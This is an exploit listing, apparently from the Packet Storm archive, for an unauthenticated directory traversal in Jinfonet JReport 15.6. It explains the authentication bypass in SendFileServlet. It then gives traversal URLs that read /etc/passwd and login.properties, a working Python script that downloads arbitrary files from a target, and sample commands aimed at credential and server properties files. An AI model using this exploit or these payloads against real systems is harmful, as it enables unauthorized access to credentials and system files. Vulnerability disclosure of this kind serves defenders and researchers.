what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Jinfornet Jreport 15.6 Directory Traversal

Jinfornet Jreport 15.6 Directory Traversal
Posted Mar 27, 2020
Authored by hongphukt

Jinfornet Jreport version 15.6 suffers from an unauthenticated directory traversal vulnerability.

tags | exploit, file inclusion
SHA-256 | 7f1115d2ff0c58a48fbab34dd63f82c48ea7a10f0a6a907b670f9beb78aa1d49

Jinfornet Jreport 15.6 Directory Traversal

Change Mirror Download
# Exploit Title: Jinfornet Jreport 15.6 - Unauthenticated Directory Traversal
# Date: 2020-03-26
# Exploit Author: hongphukt
# Vendor Homepage: https://www.jinfonet.com/
# Software Link: https://www.jinfonet.com/product/download-jreport/
# Version: JReport 15.6
# Tested on: Linux, Windows

Jreport Help function have a path traversal vulnerability in the SendFileServlet allows remote unauthenticated users to view any files on the Operating System with Application services user permission. This vulnerability affects Windows and Unix operating systems.
Technical Details

Jreport before loggedin have help function with url:

https://serverip/jreport/sendfile/help/userguide/server/index.htm

senfile url processing by jet.server.servlets.SendFileServlet class.

<servlet>

<servlet-name>sendfile</servlet-name>

<servlet-class>jet.server.servlets.SendFileServlet</servlet-class>

</servlet>

<servlet-mapping>

<servlet-name>sendfile</servlet-name>

<url-pattern>/sendfile/*</url-pattern>

</servlet-mapping>



In jet.server.servlets.SendFileServlet class, request will go on when it’s authenticated or start url by ‘/help/’

if ((!isAuthentic) &&

(!path.startsWith("/help/")))

{

httpRptServer.getHttpUserSessionManager().sendUnauthorizedResponse(req, res, this.D, httpRptServer.getResourceManager().getRealm());

return;

}



So the function reading file without any path validation

Exploit:

Get login properties, /etc/password file by get url:

http://jreport.test/jreport/sendfile/help/../bin/login.properties

http://jreport.test/jreport/sendfile/help/../../../../../../../../../../../../../../etc/passwd

# Exploit Code

import requests
import argparse

def exploit(url, file):

session = requests.Session()
rawBody = "\r\n"
response = session.get("{}/jreport/sendfile/help/{}".format(url,file), data=rawBody)

if response.status_code == 404:
print("The '{}' file was not found.".format(file))
else:
print("-" *22)
print(response.content)
print("-" *22)

if __name__ == "__main__":

parser = argparse.ArgumentParser(description='Jreport Path traversal & Arbitrary File Download')
parser.add_argument('-u', action="store", dest="url", required=True, help='Target URL')
parser.add_argument('-f', action="store", dest="file", required=True, help='The file to download')
args = parser.parse_args()

exploit(args.url, args.file)

# python jreport_fileread.py -u http://jreport.address -f "../../../../../../../../../../../../../../etc/passwd/"
# python jreport_fileread.py -u http://jreport.address -f "../bin/login.properties"
# python jreport_fileread.py -u http://jreport.address -f "../bin/server.properties"
Login or Register to add favorites

File Archive:

August 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    15 Files
  • 2
    Aug 2nd
    22 Files
  • 3
    Aug 3rd
    0 Files
  • 4
    Aug 4th
    0 Files
  • 5
    Aug 5th
    15 Files
  • 6
    Aug 6th
    11 Files
  • 7
    Aug 7th
    43 Files
  • 8
    Aug 8th
    42 Files
  • 9
    Aug 9th
    36 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    0 Files
  • 12
    Aug 12th
    27 Files
  • 13
    Aug 13th
    18 Files
  • 14
    Aug 14th
    50 Files
  • 15
    Aug 15th
    33 Files
  • 16
    Aug 16th
    23 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    43 Files
  • 20
    Aug 20th
    29 Files
  • 21
    Aug 21st
    42 Files
  • 22
    Aug 22nd
    26 Files
  • 23
    Aug 23rd
    25 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    21 Files
  • 27
    Aug 27th
    28 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close